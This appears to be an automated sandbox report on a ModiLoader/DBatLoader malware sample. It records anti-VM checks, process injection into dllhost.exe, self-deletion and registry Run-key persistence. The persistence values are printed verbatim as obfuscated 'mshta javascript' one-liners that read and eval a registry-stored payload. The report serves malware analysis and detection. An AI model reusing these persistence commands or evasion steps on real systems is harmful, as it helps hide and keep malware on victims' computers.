Analysis
-
max time kernel
150s -
max time network
155s -
platform
windows7_x64 -
resource
win7-20220715-en -
resource tags
arch:x64arch:x86image:win7-20220715-enlocale:en-usos:windows7-x64system -
submitted
01-08-2022 16:11
Static task
static1
Behavioral task
behavioral1
Sample
5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe
Resource
win7-20220715-en
Behavioral task
behavioral2
Sample
5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe
Resource
win10v2004-20220721-en
General
-
Target
5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe
-
Size
505KB
-
MD5
360373095ba9d97904aa5bfcbf2b7b7f
-
SHA1
950b51a8c388041a2d5dd5698a60f835689b98d1
-
SHA256
5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033
-
SHA512
8222ed22ccaf1e814a4bc9685e4ae8300e622ef835f0f3a7e9030b794288be52daaaccd462176a5b671604ff0e609d821a951233b372138e85886f009b531a15
Malware Config
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
dllhost.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions dllhost.exe -
ModiLoader Second Stage 12 IoCs
Processes:
resource yara_rule behavioral1/memory/1964-56-0x0000000000400000-0x0000000000484000-memory.dmp modiloader_stage2 behavioral1/memory/1964-57-0x0000000000050000-0x0000000000114000-memory.dmp modiloader_stage2 behavioral1/memory/1964-61-0x0000000000050000-0x0000000000114000-memory.dmp modiloader_stage2 behavioral1/memory/956-63-0x00000000000D0000-0x0000000000194000-memory.dmp modiloader_stage2 behavioral1/memory/956-65-0x00000000000D0000-0x0000000000194000-memory.dmp modiloader_stage2 behavioral1/memory/796-67-0x00000000001B0000-0x0000000000274000-memory.dmp modiloader_stage2 behavioral1/memory/1384-70-0x0000000000160000-0x0000000000224000-memory.dmp modiloader_stage2 behavioral1/memory/436-75-0x0000000000250000-0x0000000000314000-memory.dmp modiloader_stage2 behavioral1/memory/436-76-0x0000000000250000-0x0000000000314000-memory.dmp modiloader_stage2 behavioral1/memory/796-77-0x00000000001B0000-0x0000000000274000-memory.dmp modiloader_stage2 behavioral1/memory/1384-78-0x0000000000160000-0x0000000000224000-memory.dmp modiloader_stage2 behavioral1/memory/828-82-0x00000000000B0000-0x0000000000174000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
dllhost.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run dllhost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:fkH4MTw=\"7xbL9\";q7C3=new%20ActiveXObject(\"WScript.Shell\");AdBp09JDBj=\"sik\";uP0fT=q7C3.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\15c05509\\\\e7bea261\");lnl77rCq=\"H4wuSgY\";eval(uP0fT);Bs5Rn6rixI=\"skEj2ISTys\";" dllhost.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
dllhost.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools dllhost.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
dllhost.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion dllhost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion dllhost.exe -
Deletes itself 1 IoCs
Processes:
dllhost.exepid process 796 dllhost.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
dllhost.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:gIzUMs3H=\"xj8O\";hb61=new%20ActiveXObject(\"WScript.Shell\");s7ptyTGZ=\"D2RzFwiVhb\";FlRl35=hb61.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\15c05509\\\\e7bea261\");lyPK4ENb5i=\"84\";eval(FlRl35);GQCCr6r=\"70s8i\";" dllhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:jB1YAQyQ=\"IgQLB2i\";D7m=new%20ActiveXObject(\"WScript.Shell\");N4cszT5AcH=\"6SSWbpzuM\";aIL81A=D7m.RegRead(\"HKCU\\\\software\\\\15c05509\\\\e7bea261\");n1losqC2=\"Z\";eval(aIL81A);ggASL9VEF=\"z98pU\";" dllhost.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
dllhost.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum dllhost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 dllhost.exe -
Processes:
dllhost.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\International dllhost.exe Key created \REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0" dllhost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0" dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" dllhost.exe Key created \REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" dllhost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
dllhost.exepid process 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe -
Suspicious behavior: MapViewOfSection 15 IoCs
Processes:
5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exedllhost.exedllhost.exepid process 1964 5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe 1964 5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe 1964 5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe 956 dllhost.exe 956 dllhost.exe 956 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe 796 dllhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exedllhost.exedllhost.exedescription pid process target process PID 1964 wrote to memory of 956 1964 5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe dllhost.exe PID 1964 wrote to memory of 956 1964 5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe dllhost.exe PID 1964 wrote to memory of 956 1964 5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe dllhost.exe PID 1964 wrote to memory of 956 1964 5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe dllhost.exe PID 956 wrote to memory of 796 956 dllhost.exe dllhost.exe PID 956 wrote to memory of 796 956 dllhost.exe dllhost.exe PID 956 wrote to memory of 796 956 dllhost.exe dllhost.exe PID 956 wrote to memory of 796 956 dllhost.exe dllhost.exe PID 796 wrote to memory of 1384 796 dllhost.exe dllhost.exe PID 796 wrote to memory of 1384 796 dllhost.exe dllhost.exe PID 796 wrote to memory of 1384 796 dllhost.exe dllhost.exe PID 796 wrote to memory of 1384 796 dllhost.exe dllhost.exe PID 796 wrote to memory of 436 796 dllhost.exe explorer.exe PID 796 wrote to memory of 436 796 dllhost.exe explorer.exe PID 796 wrote to memory of 436 796 dllhost.exe explorer.exe PID 796 wrote to memory of 436 796 dllhost.exe explorer.exe PID 796 wrote to memory of 828 796 dllhost.exe dllhost.exe PID 796 wrote to memory of 828 796 dllhost.exe dllhost.exe PID 796 wrote to memory of 828 796 dllhost.exe dllhost.exe PID 796 wrote to memory of 828 796 dllhost.exe dllhost.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe"C:\Users\Admin\AppData\Local\Temp\5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\dllhost.exedllhost.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\dllhost.exedllhost.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\SysWOW64\dllhost.exe"4⤵
-
C:\Windows\SysWOW64\explorer.exeexplorer.exe4⤵
-
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\SysWOW64\dllhost.exe"4⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/436-76-0x0000000000250000-0x0000000000314000-memory.dmpFilesize
784KB
-
memory/436-71-0x0000000000000000-mapping.dmp
-
memory/436-74-0x0000000000D20000-0x0000000000FA1000-memory.dmpFilesize
2.5MB
-
memory/436-75-0x0000000000250000-0x0000000000314000-memory.dmpFilesize
784KB
-
memory/436-73-0x0000000075011000-0x0000000075013000-memory.dmpFilesize
8KB
-
memory/796-64-0x0000000000000000-mapping.dmp
-
memory/796-77-0x00000000001B0000-0x0000000000274000-memory.dmpFilesize
784KB
-
memory/796-67-0x00000000001B0000-0x0000000000274000-memory.dmpFilesize
784KB
-
memory/828-79-0x0000000000000000-mapping.dmp
-
memory/828-81-0x0000000000C30000-0x0000000000C35000-memory.dmpFilesize
20KB
-
memory/828-82-0x00000000000B0000-0x0000000000174000-memory.dmpFilesize
784KB
-
memory/956-62-0x0000000000C30000-0x0000000000C35000-memory.dmpFilesize
20KB
-
memory/956-63-0x00000000000D0000-0x0000000000194000-memory.dmpFilesize
784KB
-
memory/956-58-0x0000000000000000-mapping.dmp
-
memory/956-65-0x00000000000D0000-0x0000000000194000-memory.dmpFilesize
784KB
-
memory/1384-68-0x0000000000000000-mapping.dmp
-
memory/1384-70-0x0000000000160000-0x0000000000224000-memory.dmpFilesize
784KB
-
memory/1384-78-0x0000000000160000-0x0000000000224000-memory.dmpFilesize
784KB
-
memory/1964-54-0x0000000076901000-0x0000000076903000-memory.dmpFilesize
8KB
-
memory/1964-61-0x0000000000050000-0x0000000000114000-memory.dmpFilesize
784KB
-
memory/1964-59-0x0000000001EA0000-0x0000000001EC4000-memory.dmpFilesize
144KB
-
memory/1964-57-0x0000000000050000-0x0000000000114000-memory.dmpFilesize
784KB
-
memory/1964-56-0x0000000000400000-0x0000000000484000-memory.dmpFilesize
528KB
-
memory/1964-55-0x0000000001EA0000-0x0000000001EC4000-memory.dmpFilesize
144KB